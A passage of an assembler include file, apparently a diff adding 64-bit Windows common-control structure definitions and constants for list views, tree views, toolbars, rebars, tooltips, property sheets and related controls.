dd ?,? + pszText dq ? + cchTextMax dd ? + iImage dd ? + lParam dd ? + iIndent dd ? +ends + +struct LV_FINDINFO + flags dd ?,? + psz dq ? + lParam dq ? + pt POINT + vkDirection dd ? +ends + +struct LV_HITTESTINFO + pt POINT + flags dd ? + iItem dd ? +ends + +struct LV_COLUMN + mask dd ? + fmt dd ? + cx dd ?,? + pszText dq ? + cchTextMax dd ? + iSubItem dd ? +ends + +struct NM_LISTVIEW + hdr NMHDR + iItem dd ? + iSubItem dd ? + uNewState dd ? + uOldState dd ? + uChanged dd ? + ptAction POINT + dd ? + lParam dq ? +ends + +struct NM_CACHEHINT + hdr NMHDR + iFrom dd ? + iTo dd ? +ends + +struct NM_FINDITEM + hdr NMHDR + iStart dd ? + lvfi LV_FINDINFO +ends + +struct LV_DISPINFO + hdr NMHDR + item LV_ITEM +ends + +struct LV_KEYDOWN + hdr NMHDR + wVKey dw ? + flags dd ? +ends + +struct TV_ITEM + mask dd ?,? + hItem dq ? + state dd ? + stateMask dd ? + pszText dq ? + cchTextMax dd ? + iImage dd ? + iSelectedImage dd ? + cChildren dd ? + lParam dd ? +ends + +struct TV_INSERTSTRUCT + hParent dq ? + hInsertAfter dq ? + item TV_ITEM +ends + +struct TV_HITTESTINFO + pt POINT + flags dd ?,? + hItem dq ? +ends + +struct TV_SORTCB + hParent dq ? + lpfnCompare dq ? + lParam dq ? +ends + +struct NM_TREEVIEW + hdr NMHDR + action dd ? + itemOld TV_ITEM + itemNew TV_ITEM + ptDrag POINT +ends + +struct TV_DISPINFO + hdr NMHDR + item TV_ITEM +ends + +struct TV_KEYDOWN + hdr NMHDR + wVKey dw ? + flags dd ? +ends + +struct TC_ITEMHEADER + mask dd ? + lpReserved1 dd ? + lpReserved2 dd ?,? + pszText dq ? + cchTextMax dd ? + iImage dd ? +ends + +struct TC_ITEM + mask dd ? + lpReserved1 dd ? + lpReserved2 dd ?,? + pszText dq ? + cchTextMax dd ? + iImage dd ? + lParam dd ? +ends + +struct TC_HITTESTINFO + pt POINT + flags dd ? +ends + +struct TC_KEYDOWN + hdr NMHDR + wVKey dw ? + flags dd ? +ends + +struct MC_HITTESTINFO + cbSize dd ? + pt POINT + uHit dd ? + st SYSTEMTIME +ends + +struct NM_SELCHANGE + nmhdr NMHDR + stSelStart SYSTEMTIME + stSelEnd SYSTEMTIME +ends + +struct NM_DAYSTATE + nmhdr NMHDR + stStart SYSTEMTIME + cDayState dd ? + prgDayState dd ? +ends + +struct NM_DATETIMECHANGE + nmhdr NMHDR + dwFlags dd ? + st SYSTEMTIME +ends + +struct NM_DATETIMESTRING + nmhdr NMHDR + pszUserString dq ? + st SYSTEMTIME + dwFlags dd ? +ends + +struct NM_DATETIMEWMKEYDOWN + nmhdr NMHDR + nVirtKey dd ?,? + pszFormat dq ? + st SYSTEMTIME +ends + +struct NM_DATETIMEFORMAT + nmhdr NMHDR + pszFormat dq ? + st SYSTEMTIME + pszDisplay dq ? + szDisplay db 64 dup (?) +ends + +struct NM_DATETIMEFORMATQUERY + nmhdr NMHDR + pszFormat dq ? + szMax SIZE +ends + +struct INITCOMMONCONTROLSEX + dwSize dd ? + dwICC dd ? +ends + +; Common control window classes + +HOTKEY_CLASS equ 'msctls_hotkey32' +PROGRESS_CLASS equ 'msctls_progress32' +STATUS_CLASS equ 'msctls_statusbar32' +TRACKBAR_CLASS equ 'msctls_trackbar32' +UPDOWN_CLASS equ 'msctls_updown32' +TOOLTIPS_CLASS equ 'tooltips_class32' +ANIMATE_CLASS equ 'SysAnimate32' +HEADER_CLASS equ 'SysHeader32' +LISTVIEW_CLASS equ 'SysListView32' +TREEVIEW_CLASS equ 'SysTreeView32' +TABCONTROL_CLASS equ 'SysTabControl32' +MONTHCAL_CLASS equ 'SysMonthCal32' +DATETIMEPICK_CLASS equ 'SysDateTimePick32' +TOOLBAR_CLASS equ 'ToolbarWindow32' +REBAR_CLASS equ 'ReBarWindow32' + +; Ranges for control message IDs + +LVM_FIRST = 1000h +TV_FIRST = 1100h +HDM_FIRST = 1200h +TCM_FIRST = 1300h +MCM_FIRST = 1000h +DTM_FIRST = 1000h +CCM_FIRST = 2000h + +; Ranges for control notification IDs + +NM_FIRST = 0 +LVN_FIRST = -100 +PSN_FIRST = -200 +HDN_FIRST = -300 +TVN_FIRST = -400 +TTN_FIRST = -520 +TCN_FIRST = -550 +CDN_FIRST = -601 +TBN_FIRST = -700 +UDN_FIRST = -721 +MCN_FIRST = -750 +DTN_FIRST = -760 +CBEN_FIRST = -800 +RBN_FIRST = -831 + +; Generic notifications + +NM_OUTOFMEMORY = NM_FIRST - 1 +NM_CLICK = NM_FIRST - 2 +NM_DBLCLK = NM_FIRST - 3 +NM_RETURN = NM_FIRST - 4 +NM_RCLICK = NM_FIRST - 5 +NM_RDBLCLK = NM_FIRST - 6 +NM_SETFOCUS = NM_FIRST - 7 +NM_KILLFOCUS = NM_FIRST - 8 +NM_CUSTOMDRAW = NM_FIRST - 12 + +; Common control styles + +CCS_TOP = 01h +CCS_NOMOVEY = 02h +CCS_BOTTOM = 03h +CCS_NORESIZE = 04h +CCS_NOPARENTALIGN = 08h +CCS_ADJUSTABLE = 20h +CCS_NODIVIDER = 40h +CCS_VERT = 80h +CCS_LEFT = CCS_VERT or CCS_TOP +CCS_RIGHT = CCS_VERT or CCS_BOTTOM +CCS_NOMOVEX = CCS_VERT or CCS_NOMOVEY + +; Owner-drawn control types + +ODT_HEADER = 100 +ODT_TAB = 101 +ODT_LISTVIEW = 102 + +; InitCommonControlsEx classes + +ICC_ANIMATE_CLASS = 0080h +ICC_BAR_CLASSES = 0004h +ICC_COOL_CLASSES = 0400h +ICC_DATE_CLASSES = 0100h +ICC_HOTKEY_CLASS = 0040h +ICC_INTERNET_CLASSES = 0800h +ICC_LISTVIEW_CLASSES = 0001h +ICC_PAGESCROLLER_CLASS = 1000h +ICC_PROGRESS_CLASS = 0020h +ICC_TAB_CLASSES = 0008h +ICC_TREEVIEW_CLASSES = 0002h +ICC_UPDOWN_CLASS = 0010h +ICC_USEREX_CLASSES = 0200h +ICC_WIN95_CLASSES = 00FFh + +; Shared messages + +CCM_SETCOLORSCHEME = CCM_FIRST + 2 +CCM_GETCOLORSCHEME = CCM_FIRST + 3 +CCM_GETDROPTARGET = CCM_FIRST + 4 +CCM_SETUNICODEFORMAT = CCM_FIRST + 5 +CCM_GETUNICODEFORMAT = CCM_FIRST + 6 + +; Property sheet page flags + +PSP_DEFAULT = 0000h +PSP_DLGINDIRECT = 0001h +PSP_USEHICON = 0002h +PSP_USEICONID = 0004h +PSP_USETITLE = 0008h +PSP_HASHELP = 0020h +PSP_USEREFPARENT = 0040h +PSP_USECALLBACK = 0080h + +; Property sheet page actions + +PSPCB_RELEASE = 1 +PSPCB_CREATE = 2 + +; Property sheet header flags + +PSH_DEFAULT = 0000h +PSH_PROPTITLE = 0001h +PSH_USEHICON = 0002h +PSH_USEICONID = 0004h +PSH_PROPSHEETPAGE = 0008h +PSH_MULTILINETABS = 0010h +PSH_WIZARD = 0020h +PSH_USEPSTARTPAGE = 0040h +PSH_NOAPPLYNOW = 0080h +PSH_USECALLBACK = 0100h +PSH_HASHELP = 0200h +PSH_MODELESS = 0400h + +; Property sheet actions + +PSCB_INITIALIZED = 1 + +; Property sheet notifications + +PSN_SETACTIVE = PSN_FIRST - 0 +PSN_KILLACTIVE = PSN_FIRST - 1 +PSN_APPLY = PSN_FIRST - 2 +PSN_RESET = PSN_FIRST - 3 +PSN_HELP = PSN_FIRST - 5 +PSN_WIZBACK = PSN_FIRST - 6 +PSN_WIZNEXT = PSN_FIRST - 7 +PSN_WIZFINISH = PSN_FIRST - 8 +PSN_QUERYCANCEL = PSN_FIRST - 9 + +; Property sheet return values + +PSNRET_NOERROR = 0 +PSNRET_INVALID = 1 +PSNRET_INVALID_NOCHANGEPAGE = 2 + +; Property sheet messages + +PSM_SETCURSEL = WM_USER + 101 +PSM_REMOVEPAGE = WM_USER + 102 +PSM_ADDPAGE = WM_USER + 103 +PSM_CHANGED = WM_USER + 104 +PSM_RESTARTWINDOWS = WM_USER + 105 +PSM_REBOOTSYSTEM = WM_USER + 106 +PSM_CANCELTOCLOSE = WM_USER + 107 +PSM_QUERYSIBLINGS = WM_USER + 108 +PSM_UNCHANGED = WM_USER + 109 +PSM_APPLY = WM_USER + 110 +PSM_SETTITLE = WM_USER + 111 +PSM_SETTITLEW = WM_USER + 120 +PSM_SETWIZBUTTONS = WM_USER + 112 +PSM_PRESSBUTTON = WM_USER + 113 +PSM_SETCURSELID = WM_USER + 114 +PSM_SETFINISHTEXT = WM_USER + 115 +PSM_SETFINISHTEXTW = WM_USER + 121 +PSM_GETTABCONTROL = WM_USER + 116 +PSM_ISDIALOGMESSAGE = WM_USER + 117 + +; Property sheet buttons + +PSBTN_BACK = 0 +PSBTN_NEXT = 1 +PSBTN_FINISH = 2 +PSBTN_OK = 3 +PSBTN_APPLYNOW = 4 +PSBTN_CANCEL = 5 +PSBTN_HELP = 6 +PSWIZB_BACK = 1 +PSWIZB_NEXT = 2 +PSWIZB_FINISH = 4 +PSWIZB_DISABLEDFINISH = 8 +ID_PSRESTARTWINDOWS = 2 +ID_PSREBOOTSYSTEM = ID_PSRESTARTWINDOWS or 1 + +; Property sheet sizes + +PROP_SM_CXDLG = 212 +PROP_SM_CYDLG = 188 +PROP_MED_CXDLG = 227 +PROP_MED_CYDLG = 215 +PROP_LG_CXDLG = 252 +PROP_LG_CYDLG = 218 +WIZ_CXDLG = 276 +WIZ_CYDLG = 140 +WIZ_CXBMP = 80 +WIZ_BODYX = 92 +WIZ_BODYCX = 184 + +; Image list types + +ILC_MASK = 001h +ILC_COLOR = 0FEh +ILC_COLORDDB = 0FEh +ILC_COLOR4 = 004h +ILC_COLOR8 = 008h +ILC_COLOR16 = 010h +ILC_COLOR24 = 018h +ILC_COLOR32 = 020h +ILC_PALETTE = 800h + +; Image list color values + +CLR_NONE = 0FFFFFFFFh +CLR_DEFAULT = 0FF000000h +CLR_HILIGHT = CLR_DEFAULT + +; Image list drawing styles + +ILD_NORMAL = 0000h +ILD_TRANSPARENT = 0001h +ILD_MASK = 0010h +ILD_IMAGE = 0020h +ILD_BLEND25 = 0002h +ILD_BLEND50 = 0004h +ILD_OVERLAYMASK = 0F00h +ILD_SELECTED = ILD_BLEND50 +ILD_FOCUS = ILD_BLEND25 +ILD_BLEND = ILD_BLEND50 + +; Header control styles + +HDS_HORZ = 00h +HDS_BUTTONS = 02h +HDS_HOTTRACK = 04h +HDS_HIDDEN = 08h +HDS_DRAGDROP = 40h +HDS_FULLDRAG = 80h + +; Header control structure flags + +HDI_WIDTH = 01h +HDI_HEIGHT = HDI_WIDTH +HDI_TEXT = 02h +HDI_FORMAT = 04h +HDI_LPARAM = 08h +HDI_BITMAP = 10h + +; Header control flags + +HDF_LEFT = 0000h +HDF_RIGHT = 0001h +HDF_CENTER = 0002h +HDF_JUSTIFYMASK = 0003h +HDF_RTLREADING = 0004h +HDF_BITMAP = 2000h +HDF_STRING = 4000h +HDF_OWNERDRAW = 8000h + +; Header control messages + +HDM_GETITEMCOUNT = HDM_FIRST + 0 +HDM_INSERTITEMA = HDM_FIRST + 1 +HDM_DELETEITEM = HDM_FIRST + 2 +HDM_GETITEMA = HDM_FIRST + 3 +HDM_SETITEMA = HDM_FIRST + 4 +HDM_LAYOUT = HDM_FIRST + 5 +HDM_HITTEST = HDM_FIRST + 6 +HDM_INSERTITEMW = HDM_FIRST + 10 +HDM_GETITEMW = HDM_FIRST + 11 +HDM_SETITEMW = HDM_FIRST + 12 +HDM_INSERTITEM = HDM_INSERTITEMA +HDM_GETITEM = HDM_GETITEMA +HDM_SETITEM = HDM_SETITEMA + +; Hit test result flags + +HHT_NOWHERE = 001h +HHT_ONHEADER = 002h +HHT_ONDIVIDER = 004h +HHT_ONDIVOPEN = 008h +HHT_ABOVE = 100h +HHT_BELOW = 200h +HHT_TORIGHT = 400h +HHT_TOLEFT = 800h + +; Header control notifications + +HDN_ITEMCHANGINGA = HDN_FIRST - 0 +HDN_ITEMCHANGEDA = HDN_FIRST - 1 +HDN_ITEMCLICKA = HDN_FIRST - 2 +HDN_ITEMDBLCLICKA = HDN_FIRST - 3 +HDN_DIVIDERDBLCLICKA = HDN_FIRST - 5 +HDN_BEGINTRACKA = HDN_FIRST - 6 +HDN_ENDTRACKA = HDN_FIRST - 7 +HDN_TRACKA = HDN_FIRST - 8 +HDN_ITEMCHANGINGW = HDN_FIRST - 20 +HDN_ITEMCHANGEDW = HDN_FIRST - 21 +HDN_ITEMCLICKW = HDN_FIRST - 22 +HDN_ITEMDBLCLICKW = HDN_FIRST - 23 +HDN_DIVIDERDBLCLICKW = HDN_FIRST - 25 +HDN_BEGINTRACKW = HDN_FIRST - 26 +HDN_ENDTRACKW = HDN_FIRST - 27 +HDN_TRACKW = HDN_FIRST - 28 +HDN_ITEMCHANGING = HDN_ITEMCHANGINGA +HDN_ITEMCHANGED = HDN_ITEMCHANGEDA +HDN_ITEMCLICK = HDN_ITEMCLICKA +HDN_ITEMDBLCLICK = HDN_ITEMDBLCLICKA +HDN_DIVIDERDBLCLICK = HDN_DIVIDERDBLCLICKA +HDN_BEGINTRACK = HDN_BEGINTRACKA +HDN_ENDTRACK = HDN_ENDTRACKA +HDN_TRACK = HDN_TRACKA + +; Toolbar bitmap flags + +CMB_MASKED = 2 + +; Toolbar button states + +TBSTATE_CHECKED = 01h +TBSTATE_PRESSED = 02h +TBSTATE_ENABLED = 04h +TBSTATE_HIDDEN = 08h +TBSTATE_INDETERMINATE = 10h +TBSTATE_WRAP = 20h +TBSTATE_ELLIPSES = 40h + +; Toolbar button styles + +TBSTYLE_BUTTON = 0000h +TBSTYLE_SEP = 0001h +TBSTYLE_CHECK = 0002h +TBSTYLE_GROUP = 0004h +TBSTYLE_CHECKGROUP = TBSTYLE_GROUP or TBSTYLE_CHECK +TBSTYLE_DROPDOWN = 0008h +TBSTYLE_TOOLTIPS = 0100h +TBSTYLE_WRAPABLE = 0200h +TBSTYLE_ALTDRAG = 0400h +TBSTYLE_FLAT = 0800h +TBSTYLE_LIST = 1000h +TBSTYLE_CUSTOMERASE = 2000h +TBSTYLE_TRANSPARENT = 8000h + +; Toolbar button extended styles + +TBSTYLE_EX_DRAWDDARROWS = 0001h + +; Toolbar messages + +TB_ENABLEBUTTON = WM_USER + 1 +TB_CHECKBUTTON = WM_USER + 2 +TB_PRESSBUTTON = WM_USER + 3 +TB_HIDEBUTTON = WM_USER + 4 +TB_INDETERMINATE = WM_USER + 5 +TB_ISBUTTONENABLED = WM_USER + 9 +TB_ISBUTTONCHECKED = WM_USER + 10 +TB_ISBUTTONPRESSED = WM_USER + 11 +TB_ISBUTTONHIDDEN = WM_USER + 12 +TB_ISBUTTONINDETERMINATE = WM_USER + 13 +TB_SETSTATE = WM_USER + 17 +TB_GETSTATE = WM_USER + 18 +TB_ADDBITMAP = WM_USER + 19 +TB_ADDBUTTONS = WM_USER + 20 +TB_INSERTBUTTON = WM_USER + 21 +TB_DELETEBUTTON = WM_USER + 22 +TB_GETBUTTON = WM_USER + 23 +TB_BUTTONCOUNT = WM_USER + 24 +TB_COMMANDTOINDEX = WM_USER + 25 +TB_SAVERESTOREA = WM_USER + 26 +TB_ADDSTRINGA = WM_USER + 28 +TB_CUSTOMIZE = WM_USER + 27 +TB_GETITEMRECT = WM_USER + 29 +TB_BUTTONSTRUCTSIZE = WM_USER + 30 +TB_SETBUTTONSIZE = WM_USER + 31 +TB_SETBITMAPSIZE = WM_USER + 32 +TB_AUTOSIZE = WM_USER + 33 +TB_GETTOOLTIPS = WM_USER + 35 +TB_SETTOOLTIPS = WM_USER + 36 +TB_SETPARENT = WM_USER + 37 +TB_SETROWS = WM_USER + 39 +TB_GETROWS = WM_USER + 40 +TB_GETBITMAPFLAGS = WM_USER + 41 +TB_SETCMDID = WM_USER + 42 +TB_CHANGEBITMAP = WM_USER + 43 +TB_GETBITMAP = WM_USER + 44 +TB_GETBUTTONTEXTA = WM_USER + 45 +TB_REPLACEBITMAP = WM_USER + 46 +TB_SETINDENT = WM_USER + 47 +TB_SETIMAGELIST = WM_USER + 48 +TB_GETIMAGELIST = WM_USER + 49 +TB_LOADIMAGES = WM_USER + 50 +TB_GETRECT = WM_USER + 51 +TB_SETHOTIMAGELIST = WM_USER + 52 +TB_GETHOTIMAGELIST = WM_USER + 53 +TB_SETDISABLEDIMAGELIST = WM_USER + 54 +TB_GETDISABLEDIMAGELIST = WM_USER + 55 +TB_SETSTYLE = WM_USER + 56 +TB_GETSTYLE = WM_USER + 57 +TB_GETBUTTONSIZE = WM_USER + 58 +TB_SETBUTTONWIDTH = WM_USER + 59 +TB_SETMAXTEXTROWS = WM_USER + 60 +TB_GETTEXTROWS = WM_USER + 61 +TB_GETBUTTONTEXTW = WM_USER + 75 +TB_SAVERESTOREW = WM_USER + 76 +TB_ADDSTRINGW = WM_USER + 77 +TB_SETEXTENDEDSTYLE = WM_USER + 84 +TB_GETEXTENDEDSTYLE = WM_USER + 85 +TB_GETBUTTONTEXT = TB_GETBUTTONTEXTA +TB_SAVERESTORE = TB_SAVERESTOREA +TB_ADDSTRING = TB_ADDSTRINGA + +; System-defined button bitmaps + +HINST_COMMCTRL = -1 +IDB_STD_SMALL_COLOR = 0 +IDB_STD_LARGE_COLOR = 1 +IDB_VIEW_SMALL_COLOR = 4 +IDB_VIEW_LARGE_COLOR = 5 +IDB_HIST_SMALL_COLOR = 8 +IDB_HIST_LARGE_COLOR = 9 + +; Icon indexes for standard bitmap + +STD_CUT = 0 +STD_COPY = 1 +STD_PASTE = 2 +STD_UNDO = 3 +STD_REDOW = 4 +STD_DELETE = 5 +STD_FILENEW = 6 +STD_FILEOPEN = 7 +STD_FILESAVE = 8 +STD_PRINTPRE = 9 +STD_PROPERTIES = 10 +STD_HELP = 11 +STD_FIND = 12 +STD_REPLACE = 13 +STD_PRINT = 14 + +; Icon indexes for standard view bitmap + +VIEW_LARGEICONS = 0 +VIEW_SMALLICONS = 1 +VIEW_LIST = 2 +VIEW_DETAILS = 3 +VIEW_SORTNAME = 4 +VIEW_SORTSIZE = 5 +VIEW_SORTDATE = 6 +VIEW_SORTTYPE = 7 +VIEW_PARENTFOLDER = 8 +VIEW_NETCONNECT = 9 +VIEW_NETDISCONNECT = 10 +VIEW_NEWFOLDER = 11 + +; Icon indexes for history bitmap + +HIST_BACK = 0 +HIST_FORWARD = 1 +HIST_FAVORITES = 2 +HIST_ADDTOFAVORITES = 3 +HIST_VIEWTREE = 4 + +; Toolbar bitmap flags + +TBBF_LARGE = 1 + +; Toolbar notifications + +TBN_GETBUTTONINFOA = TBN_FIRST - 0 +TBN_BEGINDRAG = TBN_FIRST - 1 +TBN_ENDDRAG = TBN_FIRST - 2 +TBN_BEGINADJUST = TBN_FIRST - 3 +TBN_ENDADJUST = TBN_FIRST - 4 +TBN_RESET = TBN_FIRST - 5 +TBN_QUERYINSERT = TBN_FIRST - 6 +TBN_QUERYDELETE = TBN_FIRST - 7 +TBN_TOOLBARCHANGE = TBN_FIRST - 8 +TBN_CUSTHELP = TBN_FIRST - 9 +TBN_DROPDOWN = TBN_FIRST - 10 +TBN_CLOSEUP = TBN_FIRST - 11 +TBN_GETBUTTONINFOW = TBN_FIRST - 20 +TBN_GETBUTTONINFO = TBN_GETBUTTONINFOA + +; ReBar styles + +RBS_TOOLTIPS = 100h +RBS_VARHEIGHT = 200h +RBS_BANDBORDERS = 400h +RBS_FIXEDORDER = 800h +RBS_REGISTERDROP = 1000h +RBS_AUTOSIZE = 2000h +RBS_VERTICALGRIPPER = 4000h +RBS_DBLCLKTOGGLE = 8000h + +; ReBar band info structure flags + +RBBIM_STYLE = 001h +RBBIM_COLORS = 002h +RBBIM_TEXT = 004h +RBBIM_IMAGE = 008h +RBBIM_CHILD = 010h +RBBIM_CHILDSIZE = 020h +RBBIM_SIZE = 040h +RBBIM_BACKGROUND = 080h +RBBIM_ID = 100h +RBBIM_IDEALSIZE = 200h +RBBIM_LPARAM = 400h +RBBIM_HEADERSIZE = 800h + +; ReBar band styles + +RBBS_BREAK = 001h +RBBS_FIXEDSIZE = 002h +RBBS_CHILDEDGE = 004h +RBBS_HIDDEN = 008h +RBBS_NOVERT = 010h +RBBS_FIXEDBMP = 020h +RBBS_VARIABLEHEIGHT = 040h +RBBS_GRIPPERALWAYS = 080h +RBBS_NOGRIPPER = 100h + +; ReBar messages + +RB_INSERTBANDA = WM_USER + 1 +RB_DELETEBAND = WM_USER + 2 +RB_GETBARINFO = WM_USER + 3 +RB_SETBARINFO = WM_USER + 4 +RB_GETBANDINFO = WM_USER + 5 +RB_SETBANDINFOA = WM_USER + 6 +RB_SETPARENT = WM_USER + 7 +RB_INSERTBANDW = WM_USER + 10 +RB_SETBANDINFOW = WM_USER + 11 +RB_GETBANDCOUNT = WM_USER + 12 +RB_GETROWCOUNT = WM_USER + 13 +RB_GETROWHEIGHT = WM_USER + 14 +RB_IDTOINDEX = WM_USER + 16 +RB_GETTOOLTIPS = WM_USER + 17 +RB_SETTOOLTIPS = WM_USER + 18 +RB_SETBKCOLOR = WM_USER + 19 +RB_GETBKCOLOR = WM_USER + 20 +RB_SETTEXTCOLOR = WM_USER + 21 +RB_GETTEXTCOLOR = WM_USER + 22 +RB_SIZETORECT = WM_USER + 23 +RB_BEGINDRAG = WM_USER + 24 +RB_ENDDRAG = WM_USER + 25 +RB_DRAGMOVE = WM_USER + 26 +RB_GETBARHEIGHT = WM_USER + 27 +RB_GETBANDINFOW = WM_USER + 28 +RB_GETBANDINFOA = WM_USER + 29 +RB_MINIMIZEBAND = WM_USER + 30 +RB_MAXIMIZEBAND = WM_USER + 31 +RB_GETDROPTARGET = CCM_GETDROPTARGET +RB_GETBANDBORDERS = WM_USER + 34 +RB_SHOWBAND = WM_USER + 35 +RB_SETPALETTE = WM_USER + 37 +RB_GETPALETTE = WM_USER + 38 +RB_MOVEBAND = WM_USER + 39 +RB_SETUNICODEFORMAT = CCM_SETUNICODEFORMAT +RB_GETUNICODEFORMAT = CCM_GETUNICODEFORMAT +RB_INSERTBAND = RB_INSERTBANDA +RB_SETBANDINFO = RB_SETBANDINFOA + +; ReBar notifications + +RBN_HEIGHTCHANGE = RBN_FIRST - 0 +RBN_GETOBJECT = RBN_FIRST - 1 +RBN_LAYOUTCHANGED = RBN_FIRST - 2 +RBN_AUTOSIZE = RBN_FIRST - 3 +RBN_BEGINDRAG = RBN_FIRST - 4 +RBN_ENDDRAG = RBN_FIRST - 5 +RBN_DELETINGBAND = RBN_FIRST - 6 +RBN_DELETEDBAND = RBN_FIRST - 7 +RBN_CHILDSIZE = RBN_FIRST - 8 + +; Tooltip styles + +TTS_ALWAYSTIP = 1 +TTS_NOPREFIX = 2 + +; Tooltip flags + +TTF_IDISHWND = 01h +TTF_CENTERTIP = 02h +TTF_RTLREADING = 04h +TTF_SUBCLASS = 10h + +; Tooltip durations + +TTDT_AUTOMATIC = 0 +TTDT_RESHOW = 1 +TTDT_AUTOPOP = 2 +TTDT_INITIAL = 3 + +; Tooltip messages + +TTM_ACTIVATE = WM_USER + 1 +TTM_SETDELAYTIME = WM_USER + 3 +TTM_ADDTOOLA = WM_USER + 4 +TTM_DELTOOLA = WM_USER + 5 +TTM_NEWTOOLRECTA = WM_USER + 6 +TTM_RELAYEVENT = WM_USER + 7 +TTM_GETTOOLINFOA = WM_USER + 8 +TTM_SETTOOLINFOA = WM_USER + 9 +TTM_HITTESTA = WM_USER + 10 +TTM_GETTEXTA = WM_USER + 11 +TTM_UPDATETIPTEXTA = WM_USER + 12 +TTM_GETTOOLCOUNT = WM_USER + 13 +TTM_ENUMTOOLSA = WM_USER + 14 +TTM_GETCURRENTTOOLA = WM_USER + 15 +TTM_WINDOWFROMPOINT = WM_USER + 16 +TTM_ADDTOOLW = WM_USER + 50 +TTM_DELTOOLW = WM_USER + 51 +TTM_NEWTOOLRECTW = WM_USER + 52 +TTM_GETTOOLINFOW = WM_USER + 53 +TTM_SETTOOLINFOW = WM_USER + 54 +TTM_HITTESTW = WM_USER + 55 +TTM_GETTEXTW = WM_USER + 56 +TTM_UPDATETIPTEXTW = WM_USER + 57 +TTM_ENUMTOOLSW = WM_USER + 58 +TTM_GETCURRENTTOOLW = WM_USER + 59 +TTM_ADDTOOL = TTM_ADDTOOLA +TTM_DELTOOL = TTM_DELTOOLA +TTM_NEWTOOLRECT = TTM_NEWTOOLRECTA +TTM_GETTOOLINFO = TTM_GETTOOLINFOA +TTM_SETTOOLINFO = TTM_SETTOOLINFOA +TTM_HITTEST = TTM_HITTESTA +TTM_GETTEXT = TTM_GETTEXTA +TTM_UPDATETIPTEXT = TTM_UPDATETIPTEXTA +TTM_ENUMTOOLS = TTM_ENUMTOOLSA +TTM_GETCURRENTTOOL = TTM_GETCURRENTTOOLA + +; Tooltip notifications + +TTN_NEEDTEXTA = TTN_FIRST - 0 +TTN_SHOW = TTN_FIRST - 1 +TTN_POP = TTN_FIRST - 2 +TTN_NEEDTEXTW = TTN_FIRST - 10 +TTN_NEEDTEXT = TTN_NEEDTEXTA + +; Status bar styles + +SBARS_SIZEGRIP = 100h + +; Status bar messages + +SB_SETTEXTA = WM_USER + 1 +SB_GETTEXTA = WM_USER + 2 +SB_GETTEXTLENGTHA = WM_USER + 3 +SB_SETPARTS = WM_USER + 4 +SB_GETPARTS = WM_USER + 6 +SB_GETBORDERS = WM_USER + 7 +SB_SETMINHEIGHT = WM_USER + 8 +SB_SIMPLE = WM_USER + 9 +SB_GETRECT = WM_USER + 10 +SB_SETTEXTW = WM_USER + 11 +SB_GETTEXTW = WM_USER + 13 +SB_GETTEXTLENGTHW = WM_USER + 12 +SB_SETTEXT = SB_SETTEXTA +SB_GETTEXT = SB_GETTEXTA +SB_GETTEXTLENGTH = SB_GETTEXTLENGTHA + +; Status bar drawing types + +SBT_OWNERDRAW = 1000h +SBT_NOBORDERS = 0100h +SBT_POPOUT = 0200h +SBT_RTLREADING = 0400h + +; Trackbar styles + +TBS_AUTOTICKS = 01h +TBS_VERT = 02h +TBS_HORZ = 00h +TBS_TOP = 04h +TBS_BOTTOM = 00h +TBS_LEFT = 04h +TBS_RIGHT = 00h +TBS_BOTH = 08h +TBS_NOTICKS = 10h +TBS_ENABLESELRANGE = 20h +TBS_FIXEDLENGTH = 40h +TBS_NOTHUMB = 80h + +; Trackbar messages + +TBM_GETPOS = WM_USER + 0 +TBM_GETRANGEMIN = WM_USER + 1 +TBM_GETRANGEMAX = WM_USER + 2 +TBM_GETTIC = WM_USER + 3 +TBM_SETTIC = WM_USER + 4 +TBM_SETPOS = WM_USER + 5 +TBM_SETRANGE = WM_USER + 6 +TBM_SETRANGEMIN = WM_USER + 7 +TBM_SETRANGEMAX = WM_USER + 8 +TBM_CLEARTICS = WM_USER + 9 +TBM_SETSEL = WM_USER + 10 +TBM_SETSELSTART = WM_USER + 11 +TBM_SETSELEND = WM_USER + 12 +TBM_GETPTICS = WM_USER + 14 +TBM_GETTICPOS = WM_USER + 15 +TBM_GETNUMTICS = WM_USER + 16 +TBM_GETSELSTART = WM_USER + 17 +TBM_GETSELEND = WM_USER + 18 +TBM_CLEARSEL = WM_USER + 19 +TBM_SETTICFREQ = WM_USER + 20 +TBM_SETPAGESIZE = WM_USER + 21 +TBM_GETPAGESIZE = WM_USER + 22 +TBM_SETLINESIZE = WM_USER + 23 +TBM_GETLINESIZE = WM_USER + 24 +TBM_GETTHUMBRECT = WM_USER + 25 +TBM_GETCHANNELRECT = WM_USER + 26 +TBM_SETTHUMBLENGTH = WM_USER + 27 +TBM_GETTHUMBLENGTH = WM_USER + 28 + +; Trackbar notifications + +TB_LINEUP = 0 +TB_LINEDOWN = 1 +TB_PAGEUP = 2 +TB_PAGEDOWN = 3 +TB_THUMBPOSITION = 4 +TB_THUMBTRACK = 5 +TB_TOP = 6 +TB_BOTTOM = 7 +TB_ENDTRACK = 8 + +; Up-down control styles + +UDS_WRAP = 01h +UDS_SETBUDDYINT = 02h +UDS_ALIGNRIGHT = 04h +UDS_ALIGNLEFT = 08h +UDS_AUTOBUDDY = 10h +UDS_ARROWKEYS = 20h +UDS_HORZ = 40h +UDS_NOTHOUSANDS = 80h + +; Up-down control messages + +UDM_SETRANGE = WM_USER + 101 +UDM_GETRANGE = WM_USER + 102 +UDM_SETPOS = WM_USER + 103 +UDM_GETPOS = WM_USER + 104 +UDM_SETBUDDY = WM_USER + 105 +UDM_GETBUDDY = WM_USER + 106 +UDM_SETACCEL = WM_USER + 107 +UDM_GETACCEL = WM_USER + 108 +UDM_SETBASE = WM_USER + 109 +UDM_GETBASE = WM_USER + 110 + +; Up-down control notifications + +UDN_DELTAPOS = UDN_FIRST - 1 + +; Progress bar messages + +PBM_SETRANGE = WM_USER + 1 +PBM_SETPOS = WM_USER + 2 +PBM_DELTAPOS = WM_USER + 3 +PBM_SETSTEP = WM_USER + 4 +PBM_STEPIT = WM_USER + 5 +PBM_SETRANGE32 = WM_USER + 6 +PBM_GETRANGE = WM_USER + 7 +PBM_GETPOS = WM_USER + 8 + +; Hot-key control messages + +HKM_SETHOTKEY = WM_USER + 1 +HKM_GETHOTKEY = WM_USER + 2 +HKM_SETRULES = WM_USER + 3 + +; Hot key flags + +HOTKEYF_SHIFT = 1 +HOTKEYF_CONTROL = 2 +HOTKEYF_ALT = 4 +HOTKEYF_EXT = 8 + +; Key combination flags + +HKCOMB_NONE = 01h +HKCOMB_S = 02h +HKCOMB_C = 04h +HKCOMB_A = 08h +HKCOMB_SC = 10h +HKCOMB_SA = 20h +HKCOMB_CA = 40h +HKCOMB_SCA = 80h + +; List view styles + 